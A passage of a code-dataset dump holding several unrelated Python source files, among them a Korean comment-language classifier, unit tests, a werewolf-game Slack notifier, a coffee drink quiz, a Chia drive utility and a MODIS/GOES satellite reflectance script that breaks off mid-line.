langid.classify(row['for_langid'])[0], axis=1) #langid 사용하여 댓글 언어 판별 \n\n # 따로 처리하겠음\n # df = df[df['lang'].isin(['en', 'ko', 'etc'])] # lang에 en, ko, etc 가 아닌 행은 다 삭제하기\n df = df.drop('for_langid', axis=1) #for_langid 삭제\n\n #알파벳, 한글 수 비교 후 한글이 더 많으면 ko, 영어가 더 많으면 en로 재분류\n for i, content in df[df['lang'].isin(['en', 'ko'])]['processed_content'].items():\n kor_text = len(re.findall('[ㄱ-ㅎ가-힣ㅏ-ㅣ]', content))\n eng_text = len(re.findall('[A-Za-z]', content))\n \n if kor_text >= eng_text:\n df.loc[i, 'lang'] = 'ko'\n else:\n df.loc[i, 'lang'] = 'en'\n\n for i, content in df[df['lang'].isin(['ja'])]['processed_content'].items():\n # 일본어로 분류된 댓글들 (ㅋㅋㅋㅋ, ㅇㅈ 으로 구성된 댓글 많음) 한국어로 재분류 \n kor_text = len(re.findall('[ㄱ-ㅎ가-힣ㅏ-ㅣ]', content))\n eng_text = len(re.findall('[A-Za-z]', content))\n jap_text = len(re.findall('[ぁ-ゔ]+|[ァ-ヴー]+[々〆〤]', content))\n text = len(content)\n if kor_text >= text*0.5: # 절반이상이 한글이면 \n df.loc[i, 'lang'] = 'ko'\n \n if jap_text == 0 : # 일본어가 없어 (영어, 한글 섞여 있는 경우 존재)\n if kor_text >= eng_text:\n df.loc[i, 'lang'] = 'ko'\n else:\n df.loc[i, 'lang'] = 'en'\n\n for i, content in df[df['lang'].isin(['zh'])]['processed_content'].items(): # 중국어로 분류된 댓글 중에서 한글 찾기\n kor_text = len(re.findall('[ㄱ-ㅎ가-힣ㅏ-ㅣ]', content))\n text = len(content)\n if kor_text >= text*0.5: # 절반이상이 한글이면 \n df.loc[i, 'lang'] = 'ko'\n \n for i in range(len(df)): #emoji->한국어 텍스트 변환\n if df.loc[i,'lang']=='ko':\n temp = df.loc[i,'processed_content']\n demoji_text = emoji.demojize(temp, language = 'ko')\n demoji_list = {\"♡\" : \"하트\", \"🫶🏻\" : \"하트\", \"🫰🏻\" : \"하트\", \"🫶🏽\": \"하트\"} #emoji.demojize가 처리해주지 못하는 이모지 추가 처리\n \n for emoji_code, emoji_kor in demoji_list.items():\n demoji_text = demoji_text.replace(emoji_code, emoji_kor) \n \n df.loc[i, 'demoji_text']=demoji_text\n\n return df\n\n\n","repo_name":"kdt-service/Final_PJT_Team3","sub_path":"final_pj/gyoungwon_main/preprocess_lang.py","file_name":"preprocess_lang.py","file_ext":"py","file_size_in_byte":5631,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"25807392300","text":"from unittest import TestCase\nfrom deep_net.initializers import Initializer, Constant, Random\nfrom typing import Tuple, Callable\nimport numpy as np\nimport tests.utils as utils\nimport pytest\n\n\ntest_shapes = [\n tuple([np.random.randint(1, 100) for y in range(x)]) for x in range(1, 3)\n]\n\n\ndef test_activation_interface():\n initializer = Initializer()\n with pytest.raises(NotImplementedError) as e:\n initializer.init_tensor((1, 2))\n\n\ndef test_constant_initializer():\n test_constants = [-13, 0, 57.5]\n for test_constant in test_constants:\n for shape in test_shapes:\n initializer = Constant(test_constant)\n tensor = initializer.init_tensor(shape)\n\n assert tensor.shape == shape\n utils.visit_tensor(\n tensor, lambda item: utils.assertEqual(item, test_constant)\n )\n\n\ndef test_random_initializer():\n for shape in test_shapes:\n initializer = Random()\n tensor = initializer.init_tensor(shape)\n\n assert tensor.shape == shape\n utils.visit_tensor(\n tensor, lambda item: utils.assertEqual(type(item), np.float64)\n )\n","repo_name":"nadundesilva/deep-net","sub_path":"tests/test_initializers.py","file_name":"test_initializers.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"27274023262","text":"#!/usr/bin/python3\n\"\"\"testing module using unittest\nThis module exclusively tests the Base class\n\"\"\"\n\n\nimport unittest\n\nfrom models.base import Base\n\n\nclass TestBase(unittest.TestCase):\n \"\"\"tests class for class Base.\n define a test, set up whatever you need between the\n def and self.assert.\n\n a proper setup() function will accelerate class creation\n \"\"\"\n\n def setUp(self):\n \"\"\"Reset the __nb_objects counter.\n print test\"\"\"\n print(\"Base setUp\")\n Base._Base__nb_objects = 0\n\n\n def tearDown(self):\n print(\"Base tearDown\")\n\n # self.assertEqual(thing, what_thing_should_equal_to_pass_test)\n def test_id_assignment(self):\n newbase1 = Base()\n newbase2 = Base(89)\n newbase3 = Base()\n self.assertEqual(newbase1.id, 1)\n self.assertEqual(newbase2.id, 89)\n self.assertEqual(newbase3.id, 2)\n\n def test_id_type(self):\n '''test the type of id attribute to ensure an integer'''\n base = Base(10)\n self.assertIsInstance(base.id, int)\n\n\nif __name__ == '__main__':\n unittest.main\n","repo_name":"Jabulani-N/holbertonschool-higher_level_programming","sub_path":"python-almost_a_circle/tests/test_models/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"39935931268","text":"import tensorflow as tf\n\ndef time(s,f,n=1,niter=1):\n mint = None\n for i in range(n):\n t0 = tf.timestamp()\n for iter in range(niter):\n ret = f()\n dt = tf.timestamp()-t0\n if mint is None or mint>dt/niter:\n mint = dt/niter\n if n>1:\n if niter>1:\n print(f'{s} run {i}: Time {dt} sec / {niter} = {dt/niter} sec', flush=True)\n else:\n print(f'{s} run {i}: Time {dt} sec', flush=True)\n else:\n if niter>1:\n print(f'{s}: Time {dt} sec / {niter} = {dt/niter} sec', flush=True)\n else:\n print(f'{s}: Time {dt} sec', flush=True)\n return ret, mint\n\ndef mem(s=''):\n if tf.config.list_physical_devices('GPU'):\n s = 'mem' if s=='' else s+' mem'\n tf.print(s,tf.config.experimental.get_memory_info('GPU:0'))\n tf.config.experimental.reset_memory_stats('GPU:0')\n\ndef bench(s,f):\n r,t = time(s,f,n=3)\n r,t = time(s,f,n=3,niter=1+int(0.5/t))\n mem(s)\n return r,t\n","repo_name":"nftqcd/nthmc","sub_path":"bench/benchutil.py","file_name":"benchutil.py","file_ext":"py","file_size_in_byte":1050,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"19"} +{"seq_id":"23099180998","text":"class Solution(object):\n def canFinish(self, numCourses, prerequisites):\n \"\"\"\n :type numCourses: int\n :type prerequisites: List[List[int]]\n :rtype: bool\n \"\"\"\n oldnum,pre,aft,table = numCourses,{},{},[1]*numCourses\n for i in xrange(numCourses):\n pre[i],aft[i] = set(),set()\n for pair in prerequisites:\n pre[pair[1]].add(pair[0])\n aft[pair[0]].add(pair[1])\n while numCourses:\n for course_num in pre:\n if table[course_num] == 0:\n continue\n if len(pre[course_num]) == 0:\n numCourses -= 1\n table[course_num] = 0\n for course_aft in aft[course_num]:\n if course_num in pre[course_aft]:\n pre[course_aft].remove(course_num)\n if numCourses == oldnum:\n return False\n else:\n oldnum = numCourses\n return True","repo_name":"duduscript/leetcode","sub_path":"207/CourseSchedule.py","file_name":"CourseSchedule.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"19"} +{"seq_id":"119673077","text":"from kafka import KafkaConsumer\r\nfrom json import loads\r\n\r\nconsumer = KafkaConsumer(\r\n 'numtest',\r\n bootstrap_servers=['localhost:9092'],\r\n auto_offset_reset='earliest',\r\n enable_auto_commit=True,\r\n group_id='my-group',\r\n value_deserializer=lambda x: loads(x.decode('utf-8')))\r\n\r\n#auto_offset_reset as earliest means that the consumer starts reading at the latest committed offset.\r\n#enable_auto_commit as True makes sure that the consumer commits its read offset every interval.\r\n#value_deserializer deserializes the data into a common json format, \r\n#the inverse of what our value serializer was doing in producer.\r\n\r\nfor message in consumer:\r\n message = message.value\r\n print('{}'.format(message))\r\n","repo_name":"abhishek-rawat18/Internship","sub_path":"Kafka/Simple_Program/kafka-consumer.py","file_name":"kafka-consumer.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"27318273928","text":"from setuptools import setup, find_packages\n\nwith open('README.md') as f:\n readme = f.read()\n\nwith open('LICENSE') as f:\n license = f.read()\n\nsetup (\n name='picommon',\n version='0.1.0',\n description='Shell and python utility functions for Raspberry Pi management',\n long_description=readme,\n author='victorromeo',\n author_email='',\n url='https://github.com/victorromeo/PiCommon',\n license=license,\n packages=find_packages(exclude=('doc', 'tests'))\n)","repo_name":"victorromeo/PiCommon","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":482,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"30688206229","text":"class Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n res = []\n dt = {}\n \n for string in strs:\n st = ''.join(sorted(string)) \n dt[st] = dt.get(st, []) + [string]\n \n return dt.values()\n ","repo_name":"cg342/leetcode","sub_path":"49_GroupAnagrams.py","file_name":"49_GroupAnagrams.py","file_ext":"py","file_size_in_byte":288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"32070933479","text":"import sys\nsys.path.append('../')\nimport system.global_value as g\n\nimport requests # pip install requests\nimport json\n\nimport time\n\ndef system_message(message):\n requests.post(WEB_HOOK_URL, data=json.dumps({\n \"channel\" : channel_name,\n \"text\" : message,\n \"icon_emoji\" : \":gear:\",\n \"username\" : \"SYSTEM\"\n }))\n\ndef agent_message(message, text):\n requests.post(WEB_HOOK_URL, data=json.dumps({\n \"channel\" : channel_name,\n \"text\" : message,\n \"icon_emoji\" : \":hugging_face:\",\n \"username\" : characters[text[2]][2]\n }))\n\ndef send(gameid, text):\n print(\"called send\")\n print(text)\n with g.connection.cursor() as cur:\n cur.execute(\"select * from slack where id=\"+str(gameid))\n slack=cur.fetchone()\n\n with g.connection.cursor() as cur:\n cur.execute(\"select * from games where game_id=\"+str(gameid))\n games=cur.fetchone()\n\n global characters\n with g.connection.cursor() as cur:\n cur.execute(\"select * from characters where game_id=\"+str(gameid))\n characters=cur.fetchall()\n\n global WEB_HOOK_URL, channel_name\n WEB_HOOK_URL = slack[1]\n channel_name = slack[2]\n\n if (int(text[4])==100):\n if (int(text[5])==0):\n # 夜の通知とアクションの問いかけ\n if (int(characters[0][3])==0):\n with g.connection.cursor() as cur:\n cur.execute(\"select * from characters where char_id!=0 and position=0 and game_id=\"+str(gameid))\n comrade = cur.fetchone()\n with g.connection.cursor() as cur:\n cur.execute(\"select * from characters where life=0 and position!=0 and game_id=\"+str(gameid))\n candidate_list = cur.fetchall()\n candidate = [candidate_list[i][2] for i in range(len(candidate_list))]\n name=' '.join(candidate)\n message=str(games[1])+\"日目の夜になりました。\\nあなたは人狼です。殺したい人を一人選択してください。\\nあなたの仲間:\"+str(comrade[2])+\"\\n候補:\"+name\n elif (int(characters[0][3])==1):\n message=str(games[1])+\"日目の夜になりました。\\nあなたは村人です。できる行動はありません。\"\n elif (int(characters[0][3])==2):\n with g.connection.cursor() as cur:\n cur.execute(\"select * from characters where char_id!=0 and life=0 and game_id=\"+str(gameid))\n candidate_list = cur.fetchall()\n candidate = [candidate_list[i][2] for i in range(len(candidate_list))]\n name=' '.join(candidate)\n message=str(games[1])+\"日目の夜になりました。\\nあなたは占い師です。占いたい人を一人選択してください。\\n候補:\"+name\n \n elif (int(text[5])==1):\n # 結果の通知\n if (int(characters[0][3])==0):\n wolf_action=text[6]\n with g.connection.cursor() as cur:\n cur.execute(\"UPDATE characters SET life=\"+str(int(games[1])+1)+\" WHERE game_id=\"+str(gameid)+\" and char_id=\"+str(wolf_action))\n cur.execute(\"UPDATE deduces SET life=\"+str(int(games[1])+1)+\" WHERE game_id=\"+str(gameid)+\" and target=\"+str(wolf_action))\n g.connection.commit()\n message=str(characters[int(text[6])][2])+\"を殺しました\" \n\n elif (int(characters[0][3])==2):\n if (int(characters[text[6]][3])==0):\n message=str(characters[text[6]][2])+\"は人狼です。\"\n if (int(characters[text[6]][3])==1):\n message=str(characters[text[6]][2])+\"は村人です。\"\n if (int(characters[text[6]][3])==2):\n message=str(characters[text[6]][2])+\"は占い師です。\"\n\n system_message(message)\n\n elif (int(text[4])==110):\n if (int(text[5])==0):\n # 昼の通知と死人の通知\n with g.connection.cursor() as cur:\n cur.execute(\"select * from characters where game_id=\"+str(gameid)+\" and life=\"+str(games[1]))\n death=cur.fetchone()\n message=str(games[1])+\"日目の昼になりました。\\n本日の犠牲者は、\"+str(death[2])+\"です。\"\n\n elif (int(text[5])==1):\n # 発言の問いかけ\n message=\"発言を選んでください。\"\n \n system_message(message)\n \n elif (int(text[4])==120):\n if (int(text[5])==0):\n # 投票の通知\n message=str(games[1])+\"日目の投票になりました。\"\n\n elif (int(text[5])==1):\n # 誰に投票するか\n with g.connection.cursor() as cur:\n cur.execute(\"select * from characters where char_id!=0 and life=0 and game_id=\"+str(gameid))\n candidate_list = cur.fetchall()\n candidate = [candidate_list[i][2] for i in range(len(candidate_list))]\n name=' '.join(candidate)\n message=\"投票先を選んでください。\\n候補:\"+name\n \n elif (int(text[5])==2):\n # 投票結果\n message=str(characters[text[6]][2])+\"が処刑されます。\"\n \n elif (int(text[5])==3):\n # 決選投票の通知\n namelist=[characters[i][2] for i in text[6]]\n name=' '.join(namelist)\n message=\"候補者が二人以上いるため、決戦投��を行います。\\n候補:\"+name\n\n system_message(message)\n\n elif (int(text[4])==130):\n # 終了の通知\n if (int(games[2])==40):\n message=\"村人陣営の勝利です。\"\n elif (int(games[2])==50):\n message=\"人狼陣営の勝利です。\"\n elif (int(games[2])==60):\n message=\"プレイヤーが死亡しました。\"\n\n system_message(message)\n\n else :\n message=\"default\"\n # エージェントメッセージ\n # 1. 私は{役職}です。\n if (int(text[4])==1):\n if (int(text[6])==0):\n message=\"私の役職は人狼です。\"\n elif (int(text[6])==1):\n message=\"私の役職は村人です。\"\n elif (int(text[6])==2):\n message=\"私の役職は占い師です。\"\n # 2. {プレイヤー}は(怪しい/怪しくない)\n elif (int(text[4])==2):\n if (int(text[5])==0):\n message=str(characters[text[3]][2])+\"は怪しい。\"\n elif (int(text[5])==1):\n message=str(characters[text[3]][2])+\"は怪しくない。\"\n # 3. {プレイヤー}は(信じられる/信じられない)\n elif (int(text[4])==3):\n if (int(text[5])==0):\n message=str(characters[text[3]][2])+\"は信じられる。\"\n elif (int(text[5])==1):\n message=str(characters[text[3]][2])+\"は信じられない。\"\n # 4. {プレイヤー}に投票します。\n elif (int(text[4])==4):\n message=str(characters[text[3]][2])+\"に投票します。\"\n # 5. 占った結果、{プレイヤー}は{役職}でした。\n elif (int(text[4])==4):\n if (int(text[6])==0):\n message=\"占った結果、\"+str(characters[text[3]][2])+\"は人狼でした。\"\n elif (int(text[6])==1):\n message=\"占った結果、\"+str(characters[text[3]][2])+\"は村人でした。\"\n elif (int(text[6])==2):\n message=\"占った結果、\"+str(characters[text[3]][2])+\"占い師でした。\"\n else :\n pass\n print(message)\n agent_message(message, text) \n\n time.sleep(2)\n","repo_name":"shoma564/wolfAI","sub_path":"flask/slack/send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":7822,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"25212237795","text":"from __future__ import absolute_import\n\nimport os\n\nfrom celery import Celery\n\n# set the default Django settings module for the 'celery' program.\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'dap.settings')\n\nfrom django.conf import settings\n\napp = Celery('dapprj', backend='amqp', broker='amqp://guest@localhost//')\n\n# Using a string here means the worker will not have to\n# pickle the object when using Windows.\napp.config_from_object('django.conf:settings')\napp.autodiscover_tasks(lambda: settings.INSTALLED_APPS)\n\n\n@app.task(bind=True)\ndef debug_task(self):\n print('Request: {0!r}'.format(self.request))\n\n@app.task\ndef convertbin(num):\n if num < 0:\n isNeg = True\n num = abs(num)\n else:\n isNeg = False\n result = \"\"\n if num == 0:\n result = \"0\"\n while num > 0:\n result = str(num%2) + result\n num = num/2\n if isNeg == True:\n result = \"-\" + result\n return result\n\n@app.task\ndef add(x, y):\n return x + y","repo_name":"arsenalstriker14/django-asset-post","sub_path":"dapprj/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"45063622723","text":"import random\n\ndictionary = {\n 'latte': {\n 'hot': {\n '12oz':{'prep cup':'no','shots':'1','syrup':'3', 'sauce':'1','honey':'0.5'},\n '16oz':{'prep cup':'no','shots':'2','syrup':'4','sauce':'1.5','honey':'1'}},\n 'cold':{\n '12oz':{'prep cup':'yes','shots':'1','syrup':'3', 'sauce':'1','honey':'0.5'},\n '16oz':{'prep cup':'yes','shots':'2','syrup':'4','sauce':'1.5','honey':'1'}}},\n 'chai': {\n 'hot': {\n '12oz':{'prep cup':'no', 'chai concentrate':'1'},\n '16oz':{'prep cup':'no', 'chai concentrate':'1.5'}},\n 'cold':{\n '12oz':{'prep cup':'no', 'chai concentrate':'1'},\n '16oz':{'prep cup':'no', 'chai concentrate':'1.5'}}},\n 'hot chocolate': {\n 'hot': {\n '12oz':{'prep cup':'yes','sauce':'1'},\n '16oz':{'prep cup':'yes','sauce':'1.5',}},\n 'frozen':{'milk':'8oz','sauce':'2','ice':'full cup'}},\n 'americano': {\n 'hot': {\n '12oz':{'prep cup':'no','shots':'2'},\n '16oz':{'prep cup':'no','shots':'3'}},\n 'cold':{\n '12oz':{'prep cup':'no','shots':'2'},\n '16oz':{'prep cup':'no','shots':'3'}}},\n 'freezer': {\n 'mocha': {'coffee':'8oz','coffee powder':'4','sauce':'2','ice':'full cup'},\n 'chai':{'milk':'8oz','chai concentrate':'1.5','ice':'full cup'},\n 'coffee': {'coffee':'8oz','coffee powder':'4','ice':'full cup'},\n 'orange dreamsicle': {'milk':'8oz','orange dream syrup':'1.5','ice':'full cup'}},\n 'flat white': {'prep cup':'no','shots':'2'},\n 'cappucino': {\n '8oz':{'shots':'1'},\n '12oz':{'shots':'2'}},\n 'cortado': {'shots':'2'},\n 'machiatto': {'shots':'2'},\n 'matcha latte': {\n 'hot': {\n '12oz':{'prep cup':'no', 'matcha powder':'1'},\n '16oz':{'prep cup':'no', 'matcha powder':'1.5'}},\n 'cold':{\n '12oz':{'prep cup':'yes', 'matcha powder':'1'},\n '16oz':{'prep cup':'yes', 'matcha powder':'1.5'}}},\n}\n\ndef quiz():\n class get_drink:\n drink = random.choice(list(dictionary))\n attributes = dictionary[drink]\n if type(attributes) is dict:\n y = random.choice(list(attributes))\n index_two = attributes[y]\n if type(index_two) is dict:\n z = random.choice(list(index_two))\n index_three = index_two[z]\n if type(index_three) is dict:\n zz = random.choice(list(index_three))\n index_four = index_three[zz]\n question = zz\n correct_answer = index_four\n generated_drink = f'{y}, {z} {drink}'\n # print(generated_drink)\n # print('question:',question)\n # print('answer:',correct_answer)\n else:\n question = z\n correct_answer = index_three\n generated_drink = f'{y} {drink}'\n # print(generated_drink)\n # print('question:',question)\n # print('answer:',correct_answer)\n else:\n question = y\n correct_answer = index_two\n generated_drink = drink\n # print(generated_drink)\n # print('question:',question)\n # print('answer:',correct_answer)\n else:\n question = random.choice(list(attributes))\n correct_answer = attributes[question]\n generated_drink = drink\n # print('question:',question)\n # print('answer:',correct_answer)\n \n class quiz_interface:\n\n if get_drink.question == 'prep cup':\n user_input = input(f'Do you use a prep cup when preparing a {get_drink.generated_drink}? ')\n if get_drink.question == 'shots':\n user_input = input(f'How many espresso shots are in a {get_drink.generated_drink}? ')\n if get_drink.question == 'syrup' or get_drink.question == 'sauce' or get_drink.question == 'honey' or get_drink.question == 'chai concentrate' or get_drink.question == 'orange dream syrup':\n user_input = input(f'How many pumps of {get_drink.question} are in a {get_drink.generated_drink}? ')\n if get_drink.question == 'matcha powder':\n user_input = input(f'How many scoops of matcha powder are in a {get_drink.generated_drink}? ')\n if get_drink.question == 'coffee powder' or get_drink.question == 'HC powder':\n user_input = input(f'How many clicks of {get_drink.question} are in a {get_drink.generated_drink}? ')\n if get_drink.question == 'ice':\n user_input = input(f'How much ice should be used in a {get_drink.generated_drink}? ')\n if get_drink.question == 'coffee' or get_drink.question == 'milk':\n user_input = input(f'How much {get_drink.question} is used in a {get_drink.generated_drink}? ')\n\n if user_input == get_drink.correct_answer:\n print(\"Correct!\")\n else:\n print(f\"INCORRECT - CORRECT ANSWER: {get_drink.correct_answer}\")\n\nif __name__ == '__main__':\n while True:\n quiz()","repo_name":"tomfriedl/ebz_drink_quiz","sub_path":"python versions/Ebz_Quiz_CLI.py","file_name":"Ebz_Quiz_CLI.py","file_ext":"py","file_size_in_byte":5224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"34491629587","text":"import shutil\nimport sys\nimport logging\nfrom system_logging import setup_logging\nfrom system_logging import read_config\nimport subprocess\nimport os\n\nconfig_file_name = sys.argv[1:]\nsetup_logging(config_file_name)\nlevel = 'DEBUG'\nlevel = logging._checkLevel(level)\nlogging.basicConfig(format='%(asctime)s %(message)s')\nlog = logging.getLogger(__name__)\nlog.setLevel(level)\n\n\ndef bytesto(bytes, to, bsize=1024):\n a = {'k': 1, 'm': 2, 'g': 3, 't': 4, 'p': 5, 'e': 6}\n r = float(bytes)\n return bytes / (bsize ** a[to])\n\n\ndef space_free_plots_by_mountpoint(drive, plot_size_g):\n return int(bytesto(shutil.disk_usage(drive)[2], 'g') / plot_size_g)\n\n\ndef get_all_mounting_points():\n mount = subprocess.getoutput('mount -v')\n mntlines = mount.split('\\n')\n mntpoints= [mount.split()[2] for mount in mntlines if os.path.ismount(mount.split()[2])]\n return mntpoints\n\n\n\ndef get_plot_drives(target_drive_pattern, plot_size_g):\n \"\"\"\n\n \"\"\"\n with open('offlined_drives', 'r') as offlined_drives_list:\n offlined_drives = [current_drives.rstrip()\n for current_drives in offlined_drives_list.readlines()]\n available_drives = []\n for mountpoint in get_all_mounting_points():\n drive_num_free_space = space_free_plots_by_mountpoint(mountpoint, plot_size_g)\n if mountpoint.startswith(target_drive_pattern) \\\n and drive_num_free_space >= 1:\n mounting_dir = mountpoint if mountpoint.endswith('/') else mountpoint + '/'\n available_drives.append(mounting_dir)\n log.debug(f'Drives for pattern: {target_drive_pattern}: {available_drives}')\n return available_drives\n","repo_name":"milkolori/chia_move_plots","sub_path":"system_drives.py","file_name":"system_drives.py","file_ext":"py","file_size_in_byte":1669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"22654884381","text":"#!/usr/bin/env python3\n\n# Created by: Jonathan Pasco-Arnone\n# Created on: December 2020\n# This program adds a number progressively\n\n\ndef main():\n # This function adds an inputted number progressively\n\n answer = 0\n print(\"\")\n print(\"Please enter a number to be added like the example below.\")\n print(\"\")\n print(\"Ex: user enters 5: 1+2+3+4+5=15, so 15 is outputted\")\n print(\"\")\n number_str = input(\"Number: \")\n print(\"\")\n\n try:\n number = int(number_str)\n except Exception:\n print(\"Invalid Input\")\n else:\n while(number > 0):\n answer = answer + number\n number = number - 1\n answer_str = str(answer)\n print(\"The answer is \" + answer_str)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"jonathan-pasco-arnone/ICS3U-Unit4-01-Python","sub_path":"progressive_adder.py","file_name":"progressive_adder.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"18018997733","text":"# coding: utf-8\n\n# # Estimation of MODIS-like Surface-Spectral Reflectance from Geostationary Satellites using Deep Neural Networks \n\n# ## Setup\n\n# In[1]:\n\nimport datetime\nimport glob\nimport os\nimport gc\n\nimport gdal\nimport matplotlib\nimport numpy as np\n\nmatplotlib.rcParams['figure.figsize'] = \"8,8\"\nimport scipy.ndimage\n\ndef proc(day):\n goes_selected = sorted(glob.glob('goes/{}/{}/O*C03*.nc'.format(day, timendate.hour)))\n if len(goes_selected) < 1:\n os.system(\n 'aws s3 sync s3://noaa-goes16/ABI-L1b-RadF/2017/{}/ goes/{}/ --exclude \"*\" --include \"*M3C03_*2017{}{}*\"'.format(\n day, day, day,\n timendate.strftime('%H%M')))\n goes_selected = sorted(glob.glob('goes/{}/{}/O*C03*.nc'.format(day, timendate.hour)))\n temp = []\n for i, fi in enumerate(goes_selected):\n f = os.path.basename(fi)\n gtime = f[34:38]\n ftime = datetime.datetime.strptime(gtime, '%H%M')\n if ftime.hour == timendate.hour and ftime.minute == timendate.minute:\n temp.append(fi)\n return day, temp\n\n\ndef warp_goes(r):\n i, day = r\n if len(goes_dict[day]) > 0:\n f = goes_dict[day][0] # veggie NIR\n output = os.path.dirname(f) + '/' + os.path.basename(f).split('.')[0] + '.tif'\n\n if not os.path.isfile(output):\n t = gdal.Warp(output, 'NETCDF:' + f + ':Rad', dstSRS='EPSG:3857')\n print (output)\n\n\nif __name__ == '__main__':\n\n raw_dir = \"modis\"\n layers = [\"250m 16 days composite day of the year\", # doy 1st for compositing reasons\n \"250m 16 days NDVI\",\n \"250m 16 days NIR reflectance\"]\n raw_files = glob.glob(raw_dir + '/*.hdf')\n\n # In[3]:\n\n\n\n fs = [f for f in raw_files if 'A2017273' in f] # set day here\n day_of_year = int(fs[0].split('.')[4][4:7])\n\n # In[4]:\n for filepath in fs:\n\n ds = gdal.Open(filepath, gdal.GA_ReadOnly)\n datasets = ds.GetSubDatasets()\n datasets[:2]\n\n # ## Day of Year\n\n # In[5]:\n\n\n doy_layer = \"\"\n for dataset in datasets:\n if layers[0] in dataset[0]:\n doy_layer = dataset[0]\n file_type = doy_layer.split(' ')[3].lower()\n doy_layer, file_type\n\n # In[6]:\n\n\n doy_modis = gdal.Open(doy_layer)\n\n # In[7]:\n\n\n output = filepath.replace('.hdf', '.' + file_type + \".tif\")\n gdal.Warp(output, doy_modis, dstSRS='EPSG:3857', xRes=1000, yRes=1000, resampleAlg='near')\n data = gdal.Open(output)\n doy_arr = data.ReadAsArray()\n\n # ## Near Infrared\n\n # In[8]:\n\n\n nir_layer = \"\"\n for dataset in datasets:\n if layers[2] in dataset[0]:\n nir_layer = dataset[0]\n\n file_type = nir_layer.split(' ')[3].lower()\n print (nir_layer, file_type)\n\n # In[9]:\n\n nir_modis = gdal.Open(nir_layer)\n nir = nir_modis.ReadAsArray()\n\n # In[10]:\n\n\n output = filepath.replace('.hdf', '.' + file_type + \".tif\")\n gdal.Warp(output, nir_modis, dstSRS='EPSG:3857', xRes=1000, yRes=1000, resampleAlg='near')\n data = gdal.Open(output)\n nir_arr = data.ReadAsArray()\n print (nir.shape, nir_arr.shape)\n # In[11]:\n\n\n ulx, xres, xskew, uly, yskew, yres = data.GetGeoTransform()\n lrx = ulx + (data.RasterXSize * xres)\n lry = uly + (data.RasterYSize * yres)\n srs = data.GetProjection()\n\n # In[12]:\n # t = gdal.Warp('test5.tif', 'NETCDF:goes/257/18/OR_ABI-L1b-RadF-M3C02_G16_s20172571800379_e20172571811146_c20172571811182.nc:Rad', dstSRS='EPSG:3857')\n cut = gdal.Warp('cutout.tif', gdal.Open('test5.tif'), outputBoundsSRS=srs, outputBounds=[ulx, lry, lrx, uly])\n culx, cxres, cxskew, culy, cyskew, cyres = cut.GetGeoTransform()\n # ## GOES-16 NIR\n\n # In[13]:\n\n\n doy = int(filepath.split('.')[1][5:])\n year = int(filepath.split('.')[4][0:4])\n date = datetime.datetime(year, 1, 1) + datetime.timedelta(doy - 1)\n\n offsets = {\n '00': 240,\n '01': 120,\n '02': 80,\n '03': 60,\n '04': 51,\n '05': 45,\n '06': 42,\n '07': 40,\n '08': 40,\n '09': 40,\n '10': 40,\n '11': 42,\n '12': 45,\n '13': 51,\n '14': 60,\n '15': 80,\n '16': 120,\n '17': 240\n }\n\n # Find closest goes-16 times\n modis_time = filepath.split('.')[4][7:]\n # _time = datetime.datetime.strptime(modis_time, \"%H%M%S\") + datetime.timedelta(hours=5)\n _time = datetime.time(19, 15, 0) # UTC\n ft = filepath.split('.')[2]\n h = ft[1:3]\n v = ft[4:6]\n # _time += datetime.timedelta(minutes=offsets[v] * int(h))\n #\n # if _time.minute % 15 > 7:\n # _time += datetime.timedelta(minutes=15 - (_time.minute % 15))\n # else:\n # _time += datetime.timedelta(minutes=-_time.minute % 15)\n timendate = datetime.datetime.combine(date.date(), _time)\n timendate.strftime('%Y-%m-%d %H:%M')\n result = []\n for x in list(range(timendate.timetuple().tm_yday, timendate.timetuple().tm_yday + 16)):\n result.append(proc(x))\n goes_dict = {x: y for x, y in result}\n test_run = False\n for x in enumerate(goes_dict):\n warp_goes(x)\n\n ratio = data.GetGeoTransform()[1] / cxres\n\n # resize using nn\n # resized_nir = scipy.ndimage.zoom(data.ReadAsArray(), ratio, order=0)\n # shape = resized_nir.shape\n gc.collect()\n shape = nir_arr.shape\n print (\"matrix shape\", shape)\n matrix = np.zeros((shape[0], shape[1], 16))\n\n for r in enumerate(goes_dict):\n i, day = r\n if len(goes_dict[day]) > 0:\n f = goes_dict[day][0] # veggie NIR\n output = os.path.dirname(f) + '/' + os.path.basename(f).split('.')[0] + '.tif'\n t = gdal.Open(output)\n if not os.path.isfile(output):\n t = gdal.Warp(output, 'NETCDF:' + f + ':Rad', dstSRS='EPSG:3857')\n print (output)\n else:\n t = gdal.Open(output)\n dst_filename = 'cutout.tif'\n os.remove(dst_filename)\n dst = gdal.GetDriverByName('GTiff').Create(dst_filename, data.RasterXSize, data.RasterYSize, 1, 